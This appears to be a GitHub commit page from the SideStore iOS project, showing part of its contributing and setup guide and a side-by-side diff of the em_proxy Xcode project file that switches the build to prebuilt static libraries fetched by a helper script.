- [Submitting detailed bug reports and suggesting new features](https://github.com/SideStore/SideStore/issues/new/choose)
- Helping out with support
- [Discord](https://discord.gg/RgpFBX3Q3k)
- [GitHub Discussions](https://github.com/SideStore/SideStore/discussions)
However, this guide will focus on the development side of things. For now, we will only have setup information here, but you can [join our Discord](https://discord.gg/RgpFBX3Q3k) if you need help
after setup.
## Requirements
This guide assumes you:
- are on a Mac
- have Xcode installed
- have basic command line knowledge (know how to run commands, cd into a directory)
- have basic Git knowledge ([GitHub Desktop](https://desktop.github.com) is a great tool for beginners, and greatly simplifies working with Git)
- have basic Swift/iOS development knowledge
## Setup
1. Fork the SideStore repo on GitHub.
2. Clone the fork: `git clone https://github.com/<your github username>/SideStore.git --recurse-submodules`
If you are using GitHub Desktop, refer to
[this guide](https://docs.github.com/en/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop).
3. Copy `CodeSigning.xcconfig.sample` to `CodeSigning.xcconfig` and fill in the values.
4. **(Development only)** Change the value for `ALTDeviceID` in the Info.plist to your device's UDID. Normally, SideServer embeds the device's UDID in SideStore's Info.plist during installation. When
running through Xcode you'll need to set the value yourself or else SideStore won't resign (or even install) apps for the proper device. You can achieve this by changing a few things to be able to
build and use SideStore.
5. Finally, open `AltStore.xcodeproj` in Xcode.
Next, make and test your changes. Then, commit and push your changes using git and make a pull request.
## Prebuilt binary information
minimuxer and em_proxy use prebuilt static library binaries built by GitHub Actions to speed up builds and remove the need for Rust to be installed when working on SideStore.
[`Dependencies/fetch-prebuilt.sh`](./Dependencies/fetch-prebuilt.sh) will be run before each build by Xcode, and it will check if the downloaded binaries are up-to-date once every 6 hours. If you want
to force it to check for new binaries, run `bash ./Dependencies/fetch-prebuilt.sh force`.
## Building an IPA for distribution
You can use the Makefile: `make build fakesign ipa`
This will create SideStore.ipa.
> **Warning**
>
> The binary created will contain paths to Xcode's DerivedData, and if you built minimuxer on your machine, paths to $HOME/.cargo. This will include your username. If you want to keep your user's
> username private, you might want to get GitHub Actions to build the IPA instead.
## Developing minimuxer alongside SideStore
Please see [minimuxer's README](https://github.com/SideStore/minimuxer) for development instructions.

Submodule Dependencies/em_proxy deleted from c8a280e54c

View File

@@ -1,371 +1,343 @@
// !$*UTF8*$! // !$*UTF8*$!
{ {
/* generated with cargo-xcode 1.5.0 */ archiveVersion = 1;
archiveVersion = 1; classes = {
classes = { };
}; objectVersion = 53;
objectVersion = 53; objects = {
objects = {
/* Begin PBXBuildFile section */ /* Begin PBXBuildFile section */
9987603429A4555300818586 /* em_proxy.h in Sources */ = {isa = PBXBuildFile; fileRef = 9999259129A45319005CF020 /* em_proxy.h */; };
CA60E4E02AAAA30E3695DD59 /* Cargo.toml in Sources */ = {
isa = PBXBuildFile;
fileRef = CA6094FFF6923EF4668187A5 /* Cargo.toml */;
settings = {
COMPILER_FLAGS = "--lib"; /* == OTHER_INPUT_FILE_FLAGS */
};
};
CA60E4E02AAA37FC563E4BCC /* Cargo.toml in Sources */ = {
isa = PBXBuildFile;
fileRef = CA6094FFF6923EF4668187A5 /* Cargo.toml */;
settings = {
COMPILER_FLAGS = "--bin 'run'"; /* == OTHER_INPUT_FILE_FLAGS */
};
};
/* End PBXBuildFile section */ /* End PBXBuildFile section */
/* Begin PBXBuildRule section */ /* Begin PBXBuildRule section */
CA6094FFF692AC6C1400ACA8 /* PBXBuildRule */ = { CA6094FFF692AC6C1400ACA8 /* PBXBuildRule */ = {
isa = PBXBuildRule; isa = PBXBuildRule;
compilerSpec = com.apple.compilers.proxy.script; compilerSpec = com.apple.compilers.proxy.script;
dependencyFile = "$(DERIVED_FILE_DIR)/$(CARGO_XCODE_TARGET_ARCH)-$(EXECUTABLE_NAME).d"; filePatterns = "*/em_proxy.h";
filePatterns = "*/Cargo.toml"; /* must contain asterisk */ fileType = pattern.proxy;
fileType = pattern.proxy; inputFiles = (
inputFiles = (); );
isEditable = 0; isEditable = 0;
name = "Cargo project build"; name = "Cargo project build";
outputFiles = ( outputFiles = (
"$(OBJECT_FILE_DIR)/$(CARGO_XCODE_TARGET_ARCH)-$(EXECUTABLE_NAME)", "$(OBJECT_FILE_DIR)/$(CARGO_XCODE_TARGET_ARCH)-$(EXECUTABLE_NAME)",
); );
script = "# generated with cargo-xcode 1.5.0\n\nset -eu; export PATH=\"$PATH:$HOME/.cargo/bin:/usr/local/bin\";\nif [ \"${IS_MACCATALYST-NO}\" = YES ]; then\n CARGO_XCODE_TARGET_TRIPLE=\"${CARGO_XCODE_TARGET_ARCH}-apple-ios-macabi\"\nelse\n CARGO_XCODE_TARGET_TRIPLE=\"${CARGO_XCODE_TARGET_ARCH}-apple-${CARGO_XCODE_TARGET_OS}\"\nfi\nif [ \"$CARGO_XCODE_TARGET_OS\" != \"darwin\" ]; then\n PATH=\"${PATH/\\/Contents\\/Developer\\/Toolchains\\/XcodeDefault.xctoolchain\\/usr\\/bin:/xcode-provided-ld-cant-link-lSystem-for-the-host-build-script:}\"\nfi\nPATH=\"$PATH:/opt/homebrew/bin\" # Rust projects often depend on extra tools like nasm, which Xcode lacks\nif [ \"$CARGO_XCODE_BUILD_MODE\" == release ]; then\n OTHER_INPUT_FILE_FLAGS=\"${OTHER_INPUT_FILE_FLAGS} --release\"\nfi\nif command -v rustup &> /dev/null; then\n if ! rustup target list --installed | egrep -q \"${CARGO_XCODE_TARGET_TRIPLE}\"; then\n echo \"warning: this build requires rustup toolchain for $CARGO_XCODE_TARGET_TRIPLE, but it isn\'t installed\"\n rustup target add \"${CARGO_XCODE_TARGET_TRIPLE}\" || echo >&2 \"warning: can\'t install $CARGO_XCODE_TARGET_TRIPLE\"\n fi\nfi\nif [ \"$ACTION\" = clean ]; then\n ( set -x; cargo clean --manifest-path=\"$SCRIPT_INPUT_FILE\" ${OTHER_INPUT_FILE_FLAGS} --target=\"${CARGO_XCODE_TARGET_TRIPLE}\"; );\nelse\n ( set -x; cargo build --manifest-path=\"$SCRIPT_INPUT_FILE\" --features=\"${CARGO_XCODE_FEATURES:-}\" ${OTHER_INPUT_FILE_FLAGS} --target=\"${CARGO_XCODE_TARGET_TRIPLE}\"; );\nfi\n# it\'s too hard to explain Cargo\'s actual exe path to Xcode build graph, so hardlink to a known-good path instead\nBUILT_SRC=\"${CARGO_TARGET_DIR}/${CARGO_XCODE_TARGET_TRIPLE}/${CARGO_XCODE_BUILD_MODE}/${CARGO_XCODE_CARGO_FILE_NAME}\"\nln -f -- \"$BUILT_SRC\" \"$SCRIPT_OUTPUT_FILE_0\"\n\n# xcode generates dep file, but for its own path, so append our rename to it\nDEP_FILE_SRC=\"${CARGO_TARGET_DIR}/${CARGO_XCODE_TARGET_TRIPLE}/${CARGO_XCODE_BUILD_MODE}/${CARGO_XCODE_CARGO_DEP_FILE_NAME}\"\nif [ -f \"$DEP_FILE_SRC\" ]; then\n DEP_FILE_DST=\"${DERIVED_FILE_DIR}/${CARGO_XCODE_TARGET_ARCH}-${EXECUTABLE_NAME}.d\"\n cp -f \"$DEP_FILE_SRC\" \"$DEP_FILE_DST\"\n echo >> \"$DEP_FILE_DST\" \"$SCRIPT_OUTPUT_FILE_0: $BUILT_SRC\"\nfi\n\n# lipo script needs to know all the platform-specific files that have been built\n# archs is in the file name, so that paths don\'t stay around after archs change\n# must match input for LipoScript\nFILE_LIST=\"${DERIVED_FILE_DIR}/${ARCHS}-${EXECUTABLE_NAME}.xcfilelist\"\ntouch \"$FILE_LIST\"\nif ! egrep -q \"$SCRIPT_OUTPUT_FILE_0\" \"$FILE_LIST\" ; then\n echo >> \"$FILE_LIST\" \"$SCRIPT_OUTPUT_FILE_0\"\nfi\n"; script = "# generated with cargo-xcode 1.5.0\n# modified to use prebuilt binaries\n\nset -eu;\n\nBUILT_SRC=\"./em_proxy/$LIB_FILE_NAME.a\"\nln -f -- \"$BUILT_SRC\" \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\" || cp \"$BUILT_SRC\" \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\necho \"$BUILT_SRC -> $TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\n\n# xcode generates dep file, but for its own path, so append our rename to it\n#DEP_FILE_SRC=\"minimuxer/target/${CARGO_XCODE_TARGET_TRIPLE}/release/${CARGO_XCODE_CARGO_DEP_FILE_NAME}\"\n#if [ -f \"$DEP_FILE_SRC\" ]; then\n# DEP_FILE_DST=\"${DERIVED_FILE_DIR}/${CARGO_XCODE_TARGET_ARCH}-${EXECUTABLE_NAME}.d\"\n# cp -f \"$DEP_FILE_SRC\" \"$DEP_FILE_DST\"\n# echo >> \"$DEP_FILE_DST\" \"$SCRIPT_OUTPUT_FILE_0: $BUILT_SRC\"\n#fi\n\n# lipo script needs to know all the platform-specific files that have been built\n# archs is in the file name, so that paths don't stay around after archs change\n# must match input for LipoScript\n#FILE_LIST=\"${DERIVED_FILE_DIR}/${ARCHS}-${EXECUTABLE_NAME}.xcfilelist\"\n#touch \"$FILE_LIST\"\n#if ! egrep -q \"$SCRIPT_OUTPUT_FILE_0\" \"$FILE_LIST\" ; then\n# echo >> \"$FILE_LIST\" \"$SCRIPT_OUTPUT_FILE_0\"\n#fi\n";
}; };
/* End PBXBuildRule section */ /* End PBXBuildRule section */
/* Begin PBXFileReference section */ /* Begin PBXFileReference section */
9999259129A45319005CF020 /* em_proxy.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; name = em_proxy.h; path = em_proxy/em_proxy.h; sourceTree = "<group>"; };
CA60C44C93D7916DE57E6EBD /* staticlib */ = { ADDEDBA66A6E1 /* libresolv.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libresolv.tbd; path = usr/lib/libresolv.tbd; sourceTree = SDKROOT; };
isa = PBXFileReference; CA60058A9FBE4D17AF51A7D5 /* run */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.executable"; includeInIndex = 0; path = run; sourceTree = BUILT_PRODUCTS_DIR; };
explicitFileType = "archive.ar"; CA60C44C93D7916DE57E6EBD /* libem_proxy_static.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; includeInIndex = 0; path = libem_proxy_static.a; sourceTree = BUILT_PRODUCTS_DIR; };
includeInIndex = 0;
name = "libem_proxy_static.a";
sourceTree = TARGET_BUILD_DIR;
};
CA60058A9FBE4D17AF51A7D5 /* bin */ = {
isa = PBXFileReference;
explicitFileType = "compiled.mach-o.executable";
includeInIndex = 0;
name = "run";
sourceTree = TARGET_BUILD_DIR;
};
CA6094FFF6923EF4668187A5 /* Cargo.toml */ = {
isa = PBXFileReference;
lastKnownFileType = text;
fileEncoding = 4;
name = "Cargo.toml";
path = "em_proxy/Cargo.toml";
sourceTree = "<group>";
};
/* Rust needs libresolv */
ADDEDBA66A6E1 = {
isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition";
name = libresolv.tbd; path = usr/lib/libresolv.tbd; sourceTree = SDKROOT;
};
/* End PBXFileReference section */ /* End PBXFileReference section */
/* Begin PBXGroup section */ /* Begin PBXGroup section */
CA6094FFF69298AF0B5890DB /* Frameworks */ = { ADDEDBA66A6E2 /* Required for static linking */ = {
isa = PBXGroup; isa = PBXGroup;
children = ( children = (
ADDEDBA66A6E2, ADDEDBA66A6E1 /* libresolv.tbd */,
);
); name = "Required for static linking";
name = Frameworks; sourceTree = "<group>";
sourceTree = "<group>"; };
}; CA6094FFF69222869D176AE5 /* Products */ = {
isa = PBXGroup;
children = (
ADDEDBA66A6E2 /* Required for static linking */ = { CA60C44C93D7916DE57E6EBD /* libem_proxy_static.a */,
isa = PBXGroup; CA60058A9FBE4D17AF51A7D5 /* run */,
children = ( );
ADDEDBA66A6E1 name = Products;
); sourceTree = "<group>";
name = "Required for static linking"; };
sourceTree = "<group>"; CA6094FFF69298AF0B5890DB /* Frameworks */ = {
}; isa = PBXGroup;
children = (
CA6094FFF69222869D176AE5 /* Products */ = { ADDEDBA66A6E2 /* Required for static linking */,
isa = PBXGroup; );
children = ( name = Frameworks;
CA60C44C93D7916DE57E6EBD, sourceTree = "<group>";
CA60058A9FBE4D17AF51A7D5, };
CA6094FFF692D65BC3C892A8 = {
); isa = PBXGroup;
name = Products; children = (
sourceTree = "<group>"; 9999259129A45319005CF020 /* em_proxy.h */,
}; CA6094FFF69222869D176AE5 /* Products */,
CA6094FFF69298AF0B5890DB /* Frameworks */,
CA6094FFF692D65BC3C892A8 /* Main */ = { );
isa = PBXGroup; sourceTree = "<group>";
children = ( };
CA6094FFF6923EF4668187A5,
CA6094FFF69222869D176AE5,
CA6094FFF69298AF0B5890DB,
);
sourceTree = "<group>";
};
/* End PBXGroup section */ /* End PBXGroup section */
/* Begin PBXNativeTarget section */ /* Begin PBXNativeTarget section */
CA60C44C93D7A30E3695DD59 /* em_proxy-staticlib */ = { CA60058A9FBE37FC563E4BCC /* run-bin */ = {
isa = PBXNativeTarget; isa = PBXNativeTarget;
buildConfigurationList = CA603DD75FB4A30E3695DD59; buildConfigurationList = CA603DD75FB437FC563E4BCC /* Build configuration list for PBXNativeTarget "run-bin" */;
buildPhases = ( buildPhases = (
CA60445C3036A30E3695DD59 /* Sources */, CA60445C303637FC563E4BCC /* Sources */,
CA6094FFF692AF6EBB7F357C /* Universal Binary lipo */, CA6094FFF692AF6EBB7F357C /* Universal Binary lipo */,
); );
buildRules = ( buildRules = (
CA6094FFF692AC6C1400ACA8 /* PBXBuildRule */, CA6094FFF692AC6C1400ACA8 /* PBXBuildRule */,
); );
dependencies = ( dependencies = (
); );
name = "em_proxy-staticlib"; name = "run-bin";
productName = "libem_proxy_static.a"; productName = run;
productReference = CA60C44C93D7916DE57E6EBD; productReference = CA60058A9FBE4D17AF51A7D5 /* run */;
productType = "com.apple.product-type.library.static"; productType = "com.apple.product-type.tool";
}; };
CA60058A9FBE37FC563E4BCC /* run-bin */ = { CA60C44C93D7A30E3695DD59 /* em_proxy-staticlib */ = {
isa = PBXNativeTarget; isa = PBXNativeTarget;
buildConfigurationList = CA603DD75FB437FC563E4BCC; buildConfigurationList = CA603DD75FB4A30E3695DD59 /* Build configuration list for PBXNativeTarget "em_proxy-staticlib" */;
buildPhases = ( buildPhases = (
CA60445C303637FC563E4BCC /* Sources */, 9987603529A4610700818586 /* ShellScript */,
CA6094FFF692AF6EBB7F357C /* Universal Binary lipo */, CA60445C3036A30E3695DD59 /* Sources */,
); CA6094FFF692AF6EBB7F357C /* Universal Binary lipo */,
buildRules = ( );
CA6094FFF692AC6C1400ACA8 /* PBXBuildRule */, buildRules = (
); CA6094FFF692AC6C1400ACA8 /* PBXBuildRule */,
dependencies = ( );
); dependencies = (
name = "run-bin"; );
productName = "run"; name = "em_proxy-staticlib";
productReference = CA60058A9FBE4D17AF51A7D5; productName = libem_proxy_static.a;
productType = "com.apple.product-type.tool"; productReference = CA60C44C93D7916DE57E6EBD /* libem_proxy_static.a */;
}; productType = "com.apple.product-type.library.static";
};
/* End PBXNativeTarget section */ /* End PBXNativeTarget section */
CA60445C3036A30E3695DD59 = { /* Begin PBXProject section */
isa = PBXSourcesBuildPhase; CA6094FFF692E04653AD465F /* Project object */ = {
buildActionMask = 2147483647; isa = PBXProject;
files = ( attributes = {
CA60E4E02AAAA30E3695DD59 LastUpgradeCheck = 1300;
); TargetAttributes = {
runOnlyForDeploymentPostprocessing = 0; CA60058A9FBE37FC563E4BCC = {
}; CreatedOnToolsVersion = 9.2;
ProvisioningStyle = Automatic;
CA603DD75FB4A30E3695DD59 /* staticlib */ = { };
isa = XCConfigurationList; CA60C44C93D7A30E3695DD59 = {
buildConfigurations = ( CreatedOnToolsVersion = 9.2;
CA604DFE779BA30E3695DD59 /* Release */, ProvisioningStyle = Automatic;
CA60DE07A83FA30E3695DD59 /* Debug */, };
); };
defaultConfigurationIsVisible = 0; };
defaultConfigurationName = Release; buildConfigurationList = CA6094FFF69280E02D6C7F57 /* Build configuration list for PBXProject "em_proxy" */;
}; compatibilityVersion = "Xcode 11.4";
CA604DFE779BA30E3695DD59 /* staticlib */ = { developmentRegion = en;
isa = XCBuildConfiguration; hasScannedForEncodings = 0;
buildSettings = { knownRegions = (
PRODUCT_NAME = "em_proxy_static"; en,
"CARGO_XCODE_CARGO_FILE_NAME" = "libem_proxy.a"; Base,
"CARGO_XCODE_CARGO_DEP_FILE_NAME" = "libem_proxy.d"; );
SUPPORTED_PLATFORMS = "macosx iphonesimulator iphoneos appletvsimulator appletvos"; mainGroup = CA6094FFF692D65BC3C892A8;
SKIP_INSTALL = YES; productRefGroup = CA6094FFF69222869D176AE5 /* Products */;
INSTALL_GROUP = ""; projectDirPath = "";
INSTALL_MODE_FLAG = ""; projectRoot = "";
INSTALL_OWNER = ""; targets = (
CA60C44C93D7A30E3695DD59 /* em_proxy-staticlib */,
}; CA60058A9FBE37FC563E4BCC /* run-bin */,
name = Release; );
}; };
CA60DE07A83FA30E3695DD59 /* staticlib */ = { /* End PBXProject section */
isa = XCBuildConfiguration;
buildSettings = {
PRODUCT_NAME = "em_proxy_static";
"CARGO_XCODE_CARGO_FILE_NAME" = "libem_proxy.a";
"CARGO_XCODE_CARGO_DEP_FILE_NAME" = "libem_proxy.d";
SUPPORTED_PLATFORMS = "macosx iphonesimulator iphoneos appletvsimulator appletvos";
SKIP_INSTALL = YES;
INSTALL_GROUP = "";
INSTALL_MODE_FLAG = "";
INSTALL_OWNER = "";
};
name = Debug;
};CA60445C303637FC563E4BCC = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
CA60E4E02AAA37FC563E4BCC
);
runOnlyForDeploymentPostprocessing = 0;
};
CA603DD75FB437FC563E4BCC /* bin */ = {
isa = XCConfigurationList;
buildConfigurations = (
CA604DFE779B37FC563E4BCC /* Release */,
CA60DE07A83F37FC563E4BCC /* Debug */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
CA604DFE779B37FC563E4BCC /* bin */ = {
isa = XCBuildConfiguration;
buildSettings = {
PRODUCT_NAME = "run";
"CARGO_XCODE_CARGO_FILE_NAME" = "run";
"CARGO_XCODE_CARGO_DEP_FILE_NAME" = "run.d";
SUPPORTED_PLATFORMS = "macosx";
};
name = Release;
};
CA60DE07A83F37FC563E4BCC /* bin */ = {
isa = XCBuildConfiguration;
buildSettings = {
PRODUCT_NAME = "run";
"CARGO_XCODE_CARGO_FILE_NAME" = "run";
"CARGO_XCODE_CARGO_DEP_FILE_NAME" = "run.d";
SUPPORTED_PLATFORMS = "macosx";
};
name = Debug;
};
CA6094FFF692AF6EBB7F357C /* LipoScript */ = { /* Begin PBXShellScriptBuildPhase section */
name = "Universal Binary lipo"; 9987603529A4610700818586 /* ShellScript */ = {
isa = PBXShellScriptBuildPhase; isa = PBXShellScriptBuildPhase;
buildActionMask = 2147483647; buildActionMask = 2147483647;
files = (); files = (
inputFileListPaths = (); );
inputPaths = ( inputFileListPaths = (
"$(DERIVED_FILE_DIR)/$(ARCHS)-$(EXECUTABLE_NAME).xcfilelist", );
); inputPaths = (
outputFileListPaths = (); );
outputPaths = ( outputFileListPaths = (
"$(TARGET_BUILD_DIR)/$(EXECUTABLE_PATH)" );
); outputPaths = (
runOnlyForDeploymentPostprocessing = 0; ./em_proxy/em_proxy.h,
shellPath = /bin/sh; );
shellScript = "# generated with cargo-xcode 1.5.0\n\n set -eux; cat \"$DERIVED_FILE_DIR/$ARCHS-$EXECUTABLE_NAME.xcfilelist\" | tr \'\\n\' \'\\0\' | xargs -0 lipo -create -output \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\n if [ ${LD_DYLIB_INSTALL_NAME:+1} ]; then\n install_name_tool -id \"$LD_DYLIB_INSTALL_NAME\" \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\n fi\n "; runOnlyForDeploymentPostprocessing = 0;
}; shellPath = /bin/sh;
shellScript = "bash ./fetch-prebuilt.sh em_proxy\n";
};
CA6094FFF692AF6EBB7F357C /* Universal Binary lipo */ = {
isa = PBXShellScriptBuildPhase;
buildActionMask = 2147483647;
files = (
);
inputFileListPaths = (
);
inputPaths = (
"$(DERIVED_FILE_DIR)/$(ARCHS)-$(EXECUTABLE_NAME).xcfilelist",
);
name = "Universal Binary lipo";
outputFileListPaths = (
);
outputPaths = (
"$(TARGET_BUILD_DIR)/$(EXECUTABLE_PATH)",
);
runOnlyForDeploymentPostprocessing = 0;
shellPath = /bin/sh;
shellScript = "# generated with cargo-xcode 1.5.0\n\n#set -eux; cat \"$DERIVED_FILE_DIR/$ARCHS-$EXECUTABLE_NAME.xcfilelist\" | tr '\\n' '\\0' | xargs -0 lipo -create -output \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\n#if [ ${LD_DYLIB_INSTALL_NAME:+1} ]; then\n# install_name_tool -id \"$LD_DYLIB_INSTALL_NAME\" \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\n#fi\n";
};
/* End PBXShellScriptBuildPhase section */
CA6094FFF69280E02D6C7F57 = { /* Begin PBXSourcesBuildPhase section */
isa = XCConfigurationList; CA60445C303637FC563E4BCC /* Sources */ = {
buildConfigurations = ( isa = PBXSourcesBuildPhase;
CA609A5173513CC16B37690B /* Release */, buildActionMask = 2147483647;
CA609A517351228BE02872F8 /* Debug */, files = (
); );
defaultConfigurationIsVisible = 0; runOnlyForDeploymentPostprocessing = 0;
defaultConfigurationName = Release; };
}; CA60445C3036A30E3695DD59 /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
9987603429A4555300818586 /* em_proxy.h in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXSourcesBuildPhase section */
CA609A5173513CC16B37690B = { /* Begin XCBuildConfiguration section */
isa = XCBuildConfiguration; CA604DFE779B37FC563E4BCC /* Release */ = {
buildSettings = { isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO; CARGO_XCODE_CARGO_DEP_FILE_NAME = run.d;
SUPPORTS_MACCATALYST = YES; CARGO_XCODE_CARGO_FILE_NAME = run;
CARGO_TARGET_DIR = "$(PROJECT_TEMP_DIR)/cargo_target"; /* for cargo */ PRODUCT_NAME = run;
CARGO_XCODE_FEATURES = ""; /* configure yourself */ SUPPORTED_PLATFORMS = macosx;
"CARGO_XCODE_TARGET_ARCH[arch=arm64*]" = "aarch64"; };
"CARGO_XCODE_TARGET_ARCH[arch=x86_64*]" = "x86_64"; /* catalyst adds h suffix */ name = Release;
"CARGO_XCODE_TARGET_ARCH[arch=i386]" = "i686"; };
"CARGO_XCODE_TARGET_OS[sdk=macosx*]" = "darwin"; CA604DFE779BA30E3695DD59 /* Release */ = {
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*]" = "ios-sim"; isa = XCBuildConfiguration;
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*][arch=x86_64*]" = "ios"; buildSettings = {
"CARGO_XCODE_TARGET_OS[sdk=iphoneos*]" = "ios"; CARGO_XCODE_CARGO_DEP_FILE_NAME = libem_proxy.d;
"CARGO_XCODE_TARGET_OS[sdk=appletvsimulator*]" = "tvos"; CARGO_XCODE_CARGO_FILE_NAME = libem_proxy.a;
"CARGO_XCODE_TARGET_OS[sdk=appletvos*]" = "tvos"; INSTALL_GROUP = "";
PRODUCT_NAME = "em_proxy"; INSTALL_MODE_FLAG = "";
MARKETING_VERSION = "0.1.0"; INSTALL_OWNER = "";
CURRENT_PROJECT_VERSION = "0.1"; LIB_FILE_NAME = "";
SDKROOT = macosx; "LIB_FILE_NAME[sdk=iphoneos*]" = libem_proxy;
"LIB_FILE_NAME[sdk=iphonesimulator*]" = "libem_proxy-sim";
"CARGO_XCODE_BUILD_MODE" = "release"; /* for xcode scripts */ PRODUCT_NAME = em_proxy_static;
}; SKIP_INSTALL = YES;
name = Release; SUPPORTED_PLATFORMS = "macosx iphonesimulator iphoneos appletvsimulator appletvos";
}; };
name = Release;
};
CA609A517351228BE02872F8 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CARGO_TARGET_DIR = "$(PROJECT_TEMP_DIR)/cargo_target";
CARGO_XCODE_BUILD_MODE = debug;
CARGO_XCODE_FEATURES = "";
"CARGO_XCODE_TARGET_ARCH[arch=arm64*]" = aarch64;
"CARGO_XCODE_TARGET_ARCH[arch=i386]" = i686;
"CARGO_XCODE_TARGET_ARCH[arch=x86_64*]" = x86_64;
"CARGO_XCODE_TARGET_OS[sdk=appletvos*]" = tvos;
"CARGO_XCODE_TARGET_OS[sdk=appletvsimulator*]" = tvos;
"CARGO_XCODE_TARGET_OS[sdk=iphoneos*]" = ios;
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*]" = "ios-sim";
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*][arch=x86_64*]" = ios;
"CARGO_XCODE_TARGET_OS[sdk=macosx*]" = darwin;
CURRENT_PROJECT_VERSION = 0.1;
MARKETING_VERSION = 0.1.0;
ONLY_ACTIVE_ARCH = YES;
PRODUCT_NAME = em_proxy;
SDKROOT = macosx;
SUPPORTS_MACCATALYST = YES;
};
name = Debug;
};
CA609A5173513CC16B37690B /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CARGO_TARGET_DIR = "$(PROJECT_TEMP_DIR)/cargo_target";
CARGO_XCODE_BUILD_MODE = release;
CARGO_XCODE_FEATURES = "";
"CARGO_XCODE_TARGET_ARCH[arch=arm64*]" = aarch64;
"CARGO_XCODE_TARGET_ARCH[arch=i386]" = i686;
"CARGO_XCODE_TARGET_ARCH[arch=x86_64*]" = x86_64;
"CARGO_XCODE_TARGET_OS[sdk=appletvos*]" = tvos;
"CARGO_XCODE_TARGET_OS[sdk=appletvsimulator*]" = tvos;
"CARGO_XCODE_TARGET_OS[sdk=iphoneos*]" = ios;
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*]" = "ios-sim";
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*][arch=x86_64*]" = ios;
"CARGO_XCODE_TARGET_OS[sdk=macosx*]" = darwin;
CURRENT_PROJECT_VERSION = 0.1;
MARKETING_VERSION = 0.1.0;
PRODUCT_NAME = em_proxy;
SDKROOT = macosx;
SUPPORTS_MACCATALYST = YES;
};
name = Release;
};
CA60DE07A83F37FC563E4BCC /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
CARGO_XCODE_CARGO_DEP_FILE_NAME = run.d;
CARGO_XCODE_CARGO_FILE_NAME = run;
PRODUCT_NAME = run;
SUPPORTED_PLATFORMS = macosx;
};
name = Debug;
};
CA60DE07A83FA30E3695DD59 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
CARGO_XCODE_CARGO_DEP_FILE_NAME = libem_proxy.d;
CARGO_XCODE_CARGO_FILE_NAME = libem_proxy.a;
INSTALL_GROUP = "";
INSTALL_MODE_FLAG = "";
INSTALL_OWNER = "";
LIB_FILE_NAME = "";
"LIB_FILE_NAME[sdk=iphoneos*]" = libem_proxy;
"LIB_FILE_NAME[sdk=iphonesimulator*]" = "libem_proxy-sim";
PRODUCT_NAME = em_proxy_static;
SKIP_INSTALL = YES;
SUPPORTED_PLATFORMS = "macosx iphonesimulator iphoneos appletvsimulator appletvos";
};
name = Debug;
};
/* End XCBuildConfiguration section */
CA609A517351228BE02872F8 = { /* Begin XCConfigurationList section */
isa = XCBuildConfiguration; CA603DD75FB437FC563E4BCC /* Build configuration list for PBXNativeTarget "run-bin" */ = {
buildSettings = { isa = XCConfigurationList;
buildConfigurations = (
ALWAYS_SEARCH_USER_PATHS = NO; CA604DFE779B37FC563E4BCC /* Release */,
SUPPORTS_MACCATALYST = YES; CA60DE07A83F37FC563E4BCC /* Debug */,
CARGO_TARGET_DIR = "$(PROJECT_TEMP_DIR)/cargo_target"; /* for cargo */ );
CARGO_XCODE_FEATURES = ""; /* configure yourself */ defaultConfigurationIsVisible = 0;
"CARGO_XCODE_TARGET_ARCH[arch=arm64*]" = "aarch64"; defaultConfigurationName = Release;
"CARGO_XCODE_TARGET_ARCH[arch=x86_64*]" = "x86_64"; /* catalyst adds h suffix */ };
"CARGO_XCODE_TARGET_ARCH[arch=i386]" = "i686"; CA603DD75FB4A30E3695DD59 /* Build configuration list for PBXNativeTarget "em_proxy-staticlib" */ = {
"CARGO_XCODE_TARGET_OS[sdk=macosx*]" = "darwin"; isa = XCConfigurationList;
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*]" = "ios-sim"; buildConfigurations = (
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*][arch=x86_64*]" = "ios"; CA604DFE779BA30E3695DD59 /* Release */,
"CARGO_XCODE_TARGET_OS[sdk=iphoneos*]" = "ios"; CA60DE07A83FA30E3695DD59 /* Debug */,
"CARGO_XCODE_TARGET_OS[sdk=appletvsimulator*]" = "tvos"; );
"CARGO_XCODE_TARGET_OS[sdk=appletvos*]" = "tvos"; defaultConfigurationIsVisible = 0;
PRODUCT_NAME = "em_proxy"; defaultConfigurationName = Release;
MARKETING_VERSION = "0.1.0"; };
CURRENT_PROJECT_VERSION = "0.1"; CA6094FFF69280E02D6C7F57 /* Build configuration list for PBXProject "em_proxy" */ = {
SDKROOT = macosx; isa = XCConfigurationList;
buildConfigurations = (
"CARGO_XCODE_BUILD_MODE" = "debug"; /* for xcode scripts */ CA609A5173513CC16B37690B /* Release */,
ONLY_ACTIVE_ARCH = YES; CA609A517351228BE02872F8 /* Debug */,
}; );
name = Debug; defaultConfigurationIsVisible = 0;
}; defaultConfigurationName = Release;
};
